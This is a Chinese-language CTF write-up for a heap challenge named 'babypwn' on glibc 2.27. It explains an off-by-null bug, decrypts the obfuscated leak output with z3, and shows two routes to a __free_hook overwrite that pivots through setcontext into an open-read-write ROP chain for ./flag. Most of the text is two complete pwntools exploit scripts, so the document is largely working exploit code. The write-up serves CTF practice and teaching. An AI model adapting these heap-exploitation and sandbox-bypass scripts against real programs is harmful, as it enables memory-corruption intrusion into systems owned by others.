libc是2.27的。
保护全开。
还开了沙箱。
你会看到arch只能是x86_64,系统调用号小于0x40000000的时候除了execve都可以,大于等于0x40000000的时候只能是0xffffffff。
经典增删改查。
add
最多17个chunk,chunk的大小最大0x200.地址跟发小都放在了bss上面。
delete
清理的很干净。
edit
edit也看着没啥,里面有个函数,进去看看。
会把所有的’\x11’变成’\x00’,但是问题就出在它没有边界,仅仅是到’\x00’就停而已。那么我们就可以有越界,来造成off by null。
show
输出都点不大正常。首先发现它是前后四个字节分开的。
然后看一下那个输出函数。
加密的,好家伙。
先后四个字节分开,把四个字节当成一个整数传下去,然后经过加密,输出的是加密后的16进制,所以我们一会在使用这个函数的时候要注意写好解密算法。
最后发现有个工具,z3.
这些chunk都是因为沙箱提前开的一些。
总的思路其实也就是说off by null + 借用setcontext来进行orw。orw没啥好说的,因为free通过rdi传参,所以我们劫持free_hook。
off by null我们还是有两种思路,一种是unlink,一种是off by null。
unlink还是通过在第一个chunk中伪造chunk,需要在堆中做一个unlink的bypass,只需要三个chunk,另外一种是off by null,需要四个chunk,制造overlap,leak libc跟tcache posioning。
都来写一下,首先时unlink。
先通过chunk的残留地址把libc,heap地址都泄露出来
我们申请了三个chunk,都不需要在第一个chunk中伪造chunk,因为我们不需要做过分的overlap,正常一点就行,off by null改掉第二个chunk的size,然后利用第三个chunk把check bypass掉。两次申请,直接tcacahe posioning。
这个是利用setcontext的对比图。
从这个地方开始就开始利用堆上提前写好的内容。
要说的是在我们利用syscall的时候,要注意libc.sym找到的syscall会在上面清零rdi rsi,而ropgadget找到的又只有syscall没有ret,所以我们只能利用libc找到的syscall从中间截取一段,也就是从syscall+23地方开始。
exp
# -*- coding: utf-8 -*-
from pwn import *
from z3 import*
context.log_level = "debug"
p = process("./babypwn")
elf = ELF("./babypwn")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.27-3ubuntu1.2_amd64/libc.so.6")
def add(size):
p.recvuntil('>>>')
p.sendline('1')
p.recvuntil('size')
p.sendline(str(size))
def edit(idx,content):
p.recvuntil('>>>')
p.sendline('3')
p.recvuntil('index')
p.sendline(str(idx))
p.recvuntil('content')
p.send(content)
def dele(idx):
p.recvuntil('>>>')
p.sendline('2')
p.recvuntil('index')
p.sendline(str(idx))
def show(idx):
p.recvuntil('>>>')
p.sendline('4')
p.recvuntil("index:\n")
p.sendline(str(idx))
def decrypt(target):
a = BitVec('a', 32)
x = a
for _ in range(2):
x ^= (32 * x) ^ LShR((x ^ (32 * x)),17) ^ (((32 * x) ^ x ^ LShR((x ^ (32 * x)),17)) << 13)
s = Solver()
s.add(x == target)
if s.check() == sat:
return (s.model()[a].as_long())
add(0xf0)#0
add(0xf0)#1
add(0xf0)#2
dele(1)
dele(0)
add(0xf0)#0
show(0)
a1 = decrypt(int(p.recvline()[:-1], 16))
a2 = decrypt(int(p.recvline()[:-1], 16))
heap = (a2 << 32) + a1 -0x30
print "heap = " + hex(heap)
add(0xf0) #1
add(0xf0) #3
add(0xf0) #4
add(0xf0) #5
add(0xf0) #6
add(0x108)#7
add(0x108)#8
add(0x20) #9
for i in range(7):
dele(i)
edit(7,'a'*0x108)
edit(7, (p64(heap+0x628)+p64(heap+0x630)+p64(heap+0x620)).ljust(0x100,'\x00')+p64(0x110))
edit(8,'\x00'*0xf0+p64(0)+p64(0x41)+'\n')
dele(8)
show(7)
a1 = decrypt(int(p.recvline()[:-1], 16))
a2 = decrypt(int(p.recvline()[:-1], 16))
malloc_hook = (((a2 << 32) + a1 -0x30) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
one_gadget = libc_base + 0x10a45c
free_hook = libc_base + libc.sym['__free_hook']
set_context = libc_base + libc.sym['setcontext']
print "libc_base = " + hex(libc_base)
for i in range(8):
add(0xf0)
dele(1)
dele(7)
dele(2)
edit(8,p64(free_hook)+'\n')
add(0xf0)
add(0xf0)
add(0xf0)#7 free hook
edit(7,p64(set_context + 53)+'\n')
pop_rdi = libc_base + 0x2155f
pop_rax = libc_base + 0x43a78
pop_rdx = libc_base + 0x1b96
pop_rsi = libc_base + 0x23e8a
syscall = libc_base + libc.sym['syscall'] + 23
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']
buf = fit({
0:2,
0x8:syscall,
0x10:pop_rdi,
0x18:3,
0x20:pop_rsi,
0x28:heap, #r8
0x30:pop_rdx, #r9
0x38:0x100,
0x40:read_addr,
0x48:pop_rdi, #r12
0x50:heap, #r13
0x58:puts_addr, #r14
0x68:heap - 0x10, #rdi 先执行这块然后再跑到上面按顺序来
0x70:0, #rsi
0x88:0, #rdx
0xa0:heap - 208, #rsp
0xa8:pop_rax, #rcx push rcx
0xc0:'./flag\x00'
},word_size=64)
# setcontext的时候因为里面寄存器是乱的,所以这样写方便一点
#gdb.attach(p)
edit(6,buf+'\n')
dele(6)
p.interactive()
第二种
大体就还是我们的老套路,先泄露libc地址,然后ABCD四个chunk,因为被off by null的chunk的size会变,所以还是利用D来在C中伪造chunk,从而方便我们free,绕过free时候的check。
剩下的乱七八糟的都跟上面一样。
exp
# -*- coding: utf-8 -*-
from pwn import *
from z3 import*
context.log_level = "debug"
p = process("./babypwn")
elf = ELF("./babypwn")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.27-3ubuntu1.2_amd64/libc.so.6")
def add(size):
p.recvuntil('>>>')
p.sendline('1')
p.recvuntil('size')
p.sendline(str(size))
def edit(idx,content):
p.recvuntil('>>>')
p.sendline('3')
p.recvuntil('index')
p.sendline(str(idx))
p.recvuntil('content')
p.send(content)
def dele(idx):
p.recvuntil('>>>')
p.sendline('2')
p.recvuntil('index')
p.sendline(str(idx))
def show(idx):
p.recvuntil('>>>')
p.sendline('4')
p.recvuntil("index:\n")
p.sendline(str(idx))
def decrypt(target):
a = BitVec('a', 32)
x = a
for _ in range(2):
x ^= (32 * x) ^ LShR((x ^ (32 * x)),17) ^ (((32 * x) ^ x ^ LShR((x ^ (32 * x)),17)) << 13)
s = Solver()
s.add(x == target)
if s.check() == sat:
return (s.model()[a].as_long())
add(0xf0)#0
add(0xf0)#1
add(0xf0)#2
dele(1)
dele(0)
add(0xf0)#0
show(0)
a1 = decrypt(int(p.recvline()[:-1], 16))
a2 = decrypt(int(p.recvline()[:-1], 16))
heap = (a2 << 32) + a1 -0x30
print "heap = " + hex(heap)
add(0xf0) #1
add(0xf0) #3
add(0xf0) #4
add(0xf0) #5
add(0xf0) #6
for i in range(7):
dele(i)
for i in range(10):
add(0x108)
add(0x20) #11
for i in range(7):
dele(i)
#7 8 9
edit(7, 'a' * 0x100 + p64(0x110))
dele(7)
edit(8, 'b' * 0x108)
edit(8, "c" * 0x100 + p64(0x220))
edit(9, "d" * 0xf8 + p64(0x41))
#gdb.attach(p)
dele(9)
for i in range(7):
add(0x108)
add(0x108) #7
show(8)
a1 = decrypt(int(p.recvline()[:-1], 16))
a2 = decrypt(int(p.recvline()[:-1], 16))
malloc_hook = (((a2 << 32) + a1 -0x30) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
one_gadget = libc_base + 0x10a45c
free_hook = libc_base + libc.sym['__free_hook']
set_context = libc_base + libc.sym['setcontext']
print "libc_base = " + hex(libc_base)
add(0x108) #9
dele(8)
edit(9,p64(free_hook)+'\n')
add(0x108) #8
add(0x108) #11
edit(11,p64(set_context + 53)+'\n')
pop_rdi = libc_base + 0x2155f
pop_rax = libc_base + 0x43a78
pop_rdx = libc_base + 0x1b96
pop_rsi = libc_base + 0x23e8a
syscall = libc_base + libc.sym['syscall'] + 23
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']
#gdb.attach(p)
buf = fit({
0:2,
0x8:syscall,
0x10:pop_rdi,
0x18:3,
0x20:pop_rsi,
0x28:heap, #r8
0x30:pop_rdx, #r9
0x38:0x100,
0x40:read_addr,
0x48:pop_rdi, #r12
0x50:heap, #r13
0x58:puts_addr, #r14
0x68:heap + 0xe60, #rdi
0x70:0, #rsi
0x88:0, #rdx
0xa0:heap + 0xda0, #rsp
0xa8:pop_rax, #rcx push rcx
0xc0:'./flag\x00'
},word_size=64)
# setcontext的时候因为里面寄存器是乱的,所以这样写方便一点
#gdb.attach(p)
edit(7,buf+'\n')
dele(7)
p.interactive()